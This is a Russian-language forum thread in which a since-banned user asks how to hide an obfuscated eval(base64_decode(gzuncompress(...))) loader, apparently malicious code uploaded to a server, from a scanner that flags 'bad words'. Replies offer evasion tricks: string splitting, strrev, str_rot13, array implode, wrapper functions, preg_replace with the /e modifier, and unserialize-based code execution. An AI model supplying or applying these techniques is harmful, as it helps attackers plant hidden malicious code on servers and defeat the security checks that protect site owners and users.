как спрятать eval?

Finnland

Создатель
Заблокирован
Регистрация
22 Авг 2014
Сообщения
10
Реакции
39
  • Автор темы
  • Заблокирован
  • #1
Собсно сабж.
имеется строка
PHP:
eval(base64_decode(gzuncompress(base64_decode($J4331C22D4FD20FC9F9DD8557D15F3CD7))));

На сервере идет скан php файла на наличие плохих слов, и доступ к выполнению скрипта обламывается, собственно нужно заменить евал етот.

Так проканывает, но правильно ли это?
PHP:
str_replace('.','','e.v.a.l');(base64_decode(gzuncompress(base64_decode($J4331C22D4FD20FC9F9DD8557D15F3CD7))));

Имеет ли место, замена через регулярку base64_decode

PHP:
str_replace('*','','b*a*s*e*6*4*_*d*e*c*o*d*e');
аналогичным способом?

Или есть более радикальные способы. Спасибо.
 
Последнее редактирование:
главное чтобы работало, а правильно или неправильно - мне кажется так вопросы не ставят
еще можно наверно сделать через массив, как то так:
Код:
$str = array('e', 'v', 'a', 'l');
implode('', $str);
еще массив можно перевернуть чтобы еще больше запутать следы... вариантов масса

только в итоге всегда получается код, который у более-менее понимающего пхп-кодера вызывает вопросы: что он делает и для чего это так закодировано. а расколоть это труда не составит.

для строки есть еще более интересная функция
Код:
str_rot13('riny');
 
Последнее редактирование модератором:
  • Автор темы
  • Заблокирован
  • #3
Спс. Это понятно.
Мне не для человека, а для скрипта проверки.
А по поводу перевернуть строчку - вообще отличная идея... strrev('lave');
))))))
 
Так проканывает, но правильно ли это?
PHP:
str_replace('.','','e.v.a.l');(base64_decode(gzuncompress(base64_decode($J4331C22D4FD20FC9F9DD8557D15F3CD7))));
Это просто 2 бесполезные операции, выполнения вирусного кода не происходит.
почитайте Для просмотра ссылки Войди или Зарегистрируйся и вот для наглядности код:
PHP:
@ini_set('error_reporting', E_ALL);

$str = 'echo 1;'; #классический вызов - всё работает
eval($str); 

$sec_str = 'eval'; #это работать не будет Поскольку это языковая конструкция, а не функция, она не может вызываться при помощи переменных функций. 
$sec_str($str);

$sec_str = 'base64_encode'; #а это будет
var_dump($sec_str($str));

Обсуждение чем можно заменить eval уже было здесь - Для просмотра ссылки Войди или Зарегистрируйся
 
  • Автор темы
  • Заблокирован
  • #5
Вот. Это уже дело!
Значит вопрос ставился верно. Вывод: это не правильно! Спасибо.
Заливаться заливается, а проверить на выполнение - забыл.
Вопрос еще один и тему можно закрыть.
Скорее всего нельзя, вызываться не будет, но всё же спрошу))). А можно слово eval объявить пользовательской функцией и вызвать?
 
А можно слово eval объявить пользовательской функцией и вызвать?
Переопределить не получится.
Можно сделать вот так:
PHP:
function user_func($str) {
  eval($str); # Но тут все равно спалят
}
$sec_str = 'user_func';
$sec_str($str);
 
Вместо eval можно использовать unserialize. Гугли "unserialize code execution", так взламывали и Wordpress и SugarCMS и много других, это распространенный баг. Вкратце - делаешь объект со своим кодом и сериалайзишь его в строку, а при unserialize твой код выполнится. Так можно уйти от eval да и сам 'uns'.'erial'.'ize'() спрятать тоже, потому что он обычная функция, а не конструкция языка как eval.

UPD: получилось засунуть eval в строку:
preg_replace('/\d/e',"ev"."al('?>hahaha ')", '11');
 
Последнее редактирование:
Вместо eval можно использовать unserialize. Гугли "unserialize code execution"

preg_replace('/\d/e',"ev"."al('?>hahaha ')", '11');

unserialize предполагает наличие подключенного уязвимого класса.

2й пример это выполнение кода через preg_replace с параметром e, eval туда нет смысла совать, он и без того выполнит почти любой php код.
 
Назад
Сверху